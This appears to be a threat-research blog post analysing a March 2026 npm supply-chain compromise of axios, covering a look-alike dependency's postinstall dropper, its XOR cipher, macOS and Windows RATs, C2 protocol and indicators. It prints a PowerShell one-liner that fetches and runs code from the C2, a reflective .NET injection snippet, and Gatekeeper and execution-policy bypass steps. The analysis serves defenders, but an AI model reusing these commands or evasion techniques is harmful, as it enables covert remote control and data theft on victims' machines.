Axios npm compromise: XOR dropper to cross-platform RAT
quality 7/10 · good
0 net
Axios npm compromise: XOR dropper to cross-platform RAT | Derp Skip to content Axios npm compromise: XOR dropper to cross-platform RAT Kirk • March 31, 2026 • 15 min read malware supply-chain reverse-engineering npm rat obfuscation On this page On March 31, 2026, someone published axios 1.14.1 to npm. The package had 101 million weekly downloads. The only change from 1.14.0 was a single new dependency: [email protected] . That package did not exist 24 hours earlier. It carried a postinstall hook that ran a 4 KB obfuscated JavaScript dropper, which detected the host OS, pulled a platform-specific RAT from a plain HTTP C2 server, executed it outside the node process tree, and then erased every trace of itself. The whole chain fired in under two seconds, before npm install finished resolving the rest of the dependency tree. The attack lasted 169 minutes. Socket flagged the malicious dependency six minutes after it was published. npm pulled both compromised axios versions (1.14.1 and 0.30.4) within three hours. By then, the dropper had been downloaded by an unknown number of CI/CD pipelines and developer machines. We recovered the dropper from Triage, the macOS and Windows RATs from MalwareBazaar, and the malicious package manifests from jsDelivr's CDN cache. We deobfuscated the dropper's XOR cipher, decompiled the macOS Mach-O binary with Ghidra, and reversed the full Windows PowerShell RAT from source. The C2 protocol is identical across platforms: base64-encoded JSON over HTTP POST, with an IE8-on-Windows-XP user-agent string on every beacon. The Linux Python RAT was never captured. Its hash exists in researcher IOC lists, but the C2 went offline before the payload was observed in the wild. Sample overview Field Value Campaign ID 6202033 C2 http://sfrclak[.]com:8000/6202033 C2 IP 142.11.206.73 (AS54290 Hostwinds, Seattle) Exposure window 169 minutes (2026-03-31 00:21 to 03:29 UTC) Compromised account jasonsaayman (primary axios maintainer) Attacker account nrwise ( [email protected] ) Compromise method Stolen long-lived classic npm access token Malicious packages Package Version npm shasum axios 1.14.1 2553649f232204966871cea80a5d0d6adc700ca axios 0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 plain-crypto-js 4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766 Recovered payloads File SHA256 Type setup.js e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Node.js dropper (4,209 bytes) system.bat f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Windows persistence stub (265 bytes) windows_rat.ps1 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 PowerShell RAT (11,042 bytes) com.apple.act.mond 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Mach-O universal RAT (657,424 bytes) ld.py fcb81618bb15edfdedfb638b4c08a2af9cac9ecba551af135a8402bf980375cf Linux Python RAT (not recovered) Supply chain entry The attacker used a stolen classic npm access token to publish directly from the CLI, bypassing the GitHub Actions OIDC Trusted Publisher workflow that legitimate axios releases use. No GitHub commit, tag, or OIDC binding exists for either malicious version. The only modification to axios's package.json : Copy "dependencies": { "follow-redirects": "^1.15.11", "form-data": "^4.0.5", "proxy-from-env": "^2.1.0", "plain-crypto-js": "^4.2.1" } One new line. plain-crypto-js clones the legitimate crypto-js package metadata (same author name, same GitHub URL) but adds a postinstall hook: "postinstall": "node setup.js" . A clean v4.2.0 of plain-crypto-js was published 18 hours before the malicious v4.2.1. This staged the package name in the registry so it would not trigger new-package alerts when the malicious version shipped. Timeline Time (UTC) Event 2026-03-30 05:57 [email protected] published (clean staging) 2026-03-30 16:03 sfrclak[.]com registered via Namecheap 2026-03-30 23:59 [email protected] published (malicious) 2026-03-31 00:05 Socket flags plain-crypto-js (6 minutes) 2026-03-31 00:21 [email protected] published 2026-03-31 01:00 [email protected] published 2026-03-31 03:29 Both axios versions removed from npm 2026-03-31 04:26 Security stub [email protected] published The dropper: setup.js The dropper is 4,209 bytes of obfuscated JavaScript. A single minified line. It carries an 18-entry string table ( stq array) encoded with a two-layer cipher, detects the host OS, downloads a platform-specific RAT, executes it detached from the node process tree, and erases itself. Obfuscation Layer 1 ( _trans_2 ) : reverses the input string, replaces _ with = , and base64-decodes. Layer 2 ( _trans_1 ) : XOR cipher. Each character is XORed with key_digit ^ 333 , where the key digit index is (7 * i * i) % 10 . The key is "OrDeR_7077" . JavaScript's Number() returns NaN for the non-digit characters, and NaN becomes 0 in bitwise XOR. The effective key digits are [0, 0, 0, 0, 0, 0, 7, 0, 7, 7] . Decoded string table Index Decoded value 0 child_process 1 os 2 fs 3 http://sfrclak.com:8000/ 5 win32 6 darwin 7 VBScript dropper template (Windows) 8 cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f 9 AppleScript dropper template (macOS) 10 nohup osascript "LOCAL_PATH" > /dev/null 2>&1 & 12 Linux one-liner (curl + nohup python3) 13 package.json 14 package.md 15-17 .exe , .ps1 , .vbs Placeholder names in the entry function ( LOCAL_PATH , SCR_LINK , PS_PATH , PS_BINARY ) are constructed from split base64 fragments with junk replacement characters. SCR_LINK is replaced with the C2 URL at runtime. LOCAL_PATH is the temp file path. Platform branching os.platform() routes execution to one of three paths: macOS ( darwin ) : writes an AppleScript to $TMPDIR/6202033 , launches it with nohup osascript (reparented to PID 1). The AppleScript curls the RAT to /Library/Caches/com.apple.act.mond , chmod 770 s it, and runs it via /bin/zsh . Windows ( win32 ) : locates powershell.exe with where powershell , copies it to %PROGRAMDATA%\\wt.exe , writes a VBScript to %TEMP%\\6202033.vbs . The VBScript curls the PowerShell RAT to %TEMP%\\6202033.ps1 and executes it via the renamed wt.exe with -w hidden -ep bypass . Linux : a single shell command. curl -o /tmp/ld.py , then nohup python3 /tmp/ld.py . All three paths POST a platform identifier to the C2 in the request body: packages.npm.org/product0 (macOS), product1 (Windows), product2 (Linux). The C2 uses this to serve the correct payload. Anti-forensics After launching the platform payload, setup.js runs three operations: fs.unlink(__filename) deletes itself fs.unlink('package.json') deletes the malicious manifest (which contains the postinstall hook) fs.rename('package.md', 'package.json') replaces it with a clean decoy reporting version 4.2.0 The result: the node_modules/plain-crypto-js/ directory looks normal on inspection. No postinstall hook. No setup.js. The only indicator is the directory's existence as a dependency. macOS RAT: com.apple.act.mond A 657 KB Mach-O universal binary (x86_64 + arm64), compiled with Clang/C++. It links against libcurl for C2 communication and statically embeds nlohmann/json v3.11.3 for JSON handling. The binary is not stripped. All 27 application functions have intact names. We decompiled them with Ghidra. VirusTotal detection: 12/75. Avast and AVG classify it as MacOS:Nukesped-C . alibabacloud names it Backdoor:Mac/Axios.A . Property Value Format Mach-O universal (x86_64 + arm64) Compiler Clang (C++) Libraries libcurl.4.dylib, libc++.1.dylib, libSystem.B.dylib Code signing Ad-hoc (no team identifier) Signing identifier macWebT-55554944c848257813983360905d7ad0f7e5e3f5 JSON library nlohmann/json v3.11.3 (statically linked) Commands The RAT supports four commands, received as JSON over the C2 channel: Command Handler Description kill DoWork Sends rsp_kill , calls _exit(0) peinject DoActionIjt Drop binary to disk, ad-hoc codesign, execute runscript DoActionScpt Write AppleScript to temp, execute via osascript rundir GetDetailedFileList Return directory listing with metadata peinject on macOS The peinject implementation differs from Windows. The macOS variant: Base64-decodes the IjtBin payload (no IjtDll field on macOS) Generates a 6-character random filename Writes the binary to /private/tmp/. (dot-prefixed, hidden) chmod(path, 0755) Runs codesign --force --deep --sign - "" to ad-hoc sign the binary Executes via popen() The ad-hoc signing bypasses Gatekeeper. codesign --sign - creates a valid signature with no developer identity. The binary runs without the "unidentified developer" prompt. On Windows, the same peinject command uses reflective .NET injection: a IjtDll assembly ( Extension.SubRoutine.Run2 ) loads a PE payload into a hollowed cmd.exe process. No disk write. On macOS, the binary must touch disk because Gatekeeper blocks unsigned executables, so the operator writes, signs, and runs. Reconnaissance On startup and first beacon, the RAT collects: Function Source Data GetHostname gethostname() Machine name GetUsername getpwuid(getuid()) Current user GetOSVersion sysctlbyname("kern.osproductversion") macOS version GetModel sysctlbyname("hw.model") Hardware model GetCPUType sysctlbyname("machdep.cpu.brand_string") CPU name GetTimezone localtime_r UTC offset GetBootTime sysctl(KERN_BOOTTIME) Last boot GetOSInstallTime stat("/var/db/.AppleSetupDone") OS install date GetProcessList popen("ps -eo user,pid,command") Full process list InitDirInfo filesystem walk /Applications , ~/Library , all drive roots The install date lookup is worth noting. It reads the creation timestamp of /var/db/.AppleSetupDone , a file written during initial macOS setup. No persistence The macOS binary has no persistence mechanism. No LaunchAgent, no LaunchDaemon, no login item. If the process terminates, it stays dead. Persistence would have to come from a second-stage payload delivered via the peinject command, but no such payload was captured during the C2's short operational window. Windows RAT: PowerShell The Windows payload is an 11 KB PowerShell script. Plaintext, not obfuscated. It implements the same four commands as the macOS binary: kill , peinject , runscript , and rundir . Persistence On startup, the RAT writes a 265-byte BAT file to %PROGRAMDATA%\\system.bat (hidden attribute) and registers it via the Run key: Copy HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate The BAT is a one-liner that re-downloads and executes the RAT from C2 memory on every boot: Copy start /min powershell -w h -c "& ([scriptblock]::Create( [System.Text.Encoding]::UTF8.GetString( (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content ))) ''" The RAT never persists on disk as a .ps1 file. It lives in memory, re-fetched from the C2 at each login. If the C2 goes down, persistence breaks. peinject on Windows The Windows peinject handler receives two base64-encoded blobs: IjtDll : a .NET assembly containing Extension.SubRoutine.Run2 IjtBin : the PE payload to inject Copy [System.Reflection.Assembly]::Load($rotjni) $class = $assem.GetType("Extension.SubRoutine") $method = $class.GetMethod("Run2") $method.Invoke(0, @($daolyap, (Get-Command cmd).Source, $param)) The .NET loader injects the PE into a new cmd.exe process (process hollowing). The variable names are reversed: $rotjni = "injtor", $daolyap = "payload". Neither the .NET loader nor the PE payload were captured. They are sent by the operator on demand and exist only in the C2's possession. Script execution The runscript command has three paths: No script : runs the Param field directly as PowerShell arguments Small script (< 10,240 bytes): double base64-encoded and passed via -EncodedCommand Large script (>= 10,240 bytes): written to %TEMP%\\{GUID}.ps1 , executed, then deleted All paths use powershell -NoProfile -ep Bypass and capture stdout for the C2 response. Reconnaissance Same data set as macOS, collected via WMI: Variable Source $hostname $env:COMPUTERNAME $username $env:USERNAME $version Win32_OperatingSystem (caption + arch + version) $timezone Get-TimeZone $installDate Win32_OperatingSystem.InstallDate $bootTime Win32_OperatingSystem.LastBootUpTime $modelName Win32_ComputerSystem.Model $cpuType Win32_Processor.Name Process list Get-CimInstance Win32_Process (PID, session, name, path) Directory listing Documents, Desktop, OneDrive, AppData\Roaming, all drive roots The victim ID ( $uid ) is a random 16-character alphanumeric string, regenerated every session. The C2 has no persistent identifier for a machine across reboots. Shared C2 protocol Both RATs use the same protocol. The macOS binary implements it in C++ via libcurl. The Windows RAT uses System.Net.WebClient . Transport Field Value Transport HTTP POST (plain, no TLS) Encoding JSON body -> UTF-8 bytes -> base64 -> POST body User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) Beacon interval 60 seconds Timeout 30 seconds (macOS, via CURLOPT_TIMEOUT) Message types Type Direction Purpose FirstInfo Client -> C2 UID, OS, initial directory listing BaseInfo Client -> C2 Beacon (first: full fingerprint + process list; subsequent: timestamp only) CmdResult Client -> C2 Command response with status ( Wow = success, Zzz = error) kill C2 -> Client Clean exit peinject C2 -> Client Binary injection runscript C2 -> Client Script execution rundir C2 -> Client Directory listing request The POST bodies masquerade as npm registry traffic. The initial payload download sends packages.npm.org/product0 (or product1 , product2 ) as the POST body, mimicking a request to the npm registry. The ongoing beacon bodies are base64-encoded JSON. C2 infrastructure sfrclak[.]com was registered on 2026-03-30 at 16:03 UTC, eight hours before the malicious dependency was published. Registered via Namecheap with full WHOIS privacy. Default Namecheap nameservers. No TLS certificate issued (no entries in CT logs via crt.sh). MX records point to Namecheap email forwarding servers, which may be a parking default. The C2 IP ( 142.11.206.73 ) is in Hostwinds' Seattle allocation (AS54290, 142.11.192.0/18). The hosting type in our IPinfo bulk database is hosting , a standard VPS provider. GreyNoise reports no scanning activity from this IP. Shodan has no scan data. The infrastructure was completely clean across all threat intel feeds except VirusTotal, where the domain had 15/94 malicious detections and a reputation score of -42 at time of analysis. The C2 accepted TCP connections on port 8000 during our investigation but reset the connection after receiving POST data. The listener was either killed after the npm takedown or reconfigured to reject requests. Downstream contamination Two npm packages vendored the compromised axios into published artifacts: Package Downloads/week Ecosystem @shadanai/openclaw 673 OpenClaw AI framework fork @qqbrowser/openclaw-qbot 4,571 QQ Bot plugin for OpenClaw Both are part of the OpenClaw ecosystem, an open-source AI assistant framework with over 250,000 GitHub stars. Any project with a flexible axios version range ( ^1.14 or ~1.14 ) that ran npm install during the 169-minute window pulled the malicious version. Only these two packages vendored it into their own published npm artifacts, extending the supply chain one link further. Platform comparison The two RATs share a protocol and command set but diverge on execution. The biggest split is peinject : Windows does it in memory through .NET reflection, macOS writes to disk and codesigns. Persistence also differs. Windows re-fetches the RAT from C2 on every boot via a Run key. macOS has no persistence at all. Feature macOS (C++) Windows (PowerShell) peinject Disk write + ad-hoc codesign + popen Reflective .NET injection into cmd.exe peinject fields IjtBin only IjtDll + IjtBin runscript AppleScript via osascript PowerShell ( -ep bypass ) Shell fallback /bin/sh -c powershell.exe Persistence None (binary in /Library/Caches/ ) Run key -> system.bat (fileless re-fetch) Process list ps -eo user,pid,command Get-CimInstance Win32_Process Init directories /Applications, ~/Library, filesystem roots Documents, Desktop, OneDrive, AppData, drives Victim UID Variable length (per GenerateUID param) 16 alphanumeric chars The C2 protocol, JSON schema, command names, and IE8 user-agent string are identical across both platforms. The Wow / Zzz status codes are shared. The platform differences are confined to OS-specific execution paths. IOC summary Network Indicator Type sfrclak[.]com C2 domain 142.11.206.73 C2 IP (AS54290 Hostwinds, Seattle) sfrclak[.]com:8000 C2 listener http://sfrclak[.]com:8000/6202033 Payload delivery + beacon endpoint mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) C2 user-agent (all platforms) Host Path Platform Description /Library/Caches/com.apple.act.mond macOS RAT binary /private/tmp/. macOS peinject dropped binaries %PROGRAMDATA%\\wt.exe Windows Renamed powershell.exe %PROGRAMDATA%\\system.bat Windows Persistence stub (hidden) %TEMP%\\6202033.vbs Windows VBScript dropper (deleted) %TEMP%\\6202033.ps1 Windows PS1 RAT (deleted) /tmp/ld.py Linux Python RAT Registry Key Value Data HKCU:\\...\\Run MicrosoftUpdate %PROGRAMDATA%\\system.bat Crypto and obfuscation Key Context OrDeR_7077 XOR key (effective digits: [0,0,0,0,0,0,7,0,7,7] ) 333 XOR constant 6202033 Campaign ID (C2 path, temp filenames) Detection strings String Context com.apple.act.mond macOS RAT filename plain-crypto-js Malicious npm package Extension.SubRoutine .NET injector class (Windows peinject) MicrosoftUpdate Windows persistence registry value packages.npm.org C2 POST body prefix macWebT Mach-O code signing identifier prefix See also: GhostWeaver: a PowerShell RAT that lives up to its name , PureCrypter loader analysis . Share this article Copy link X LinkedIn Kirk I like the internet. Want to get in touch? [email protected] · @KirkDerpca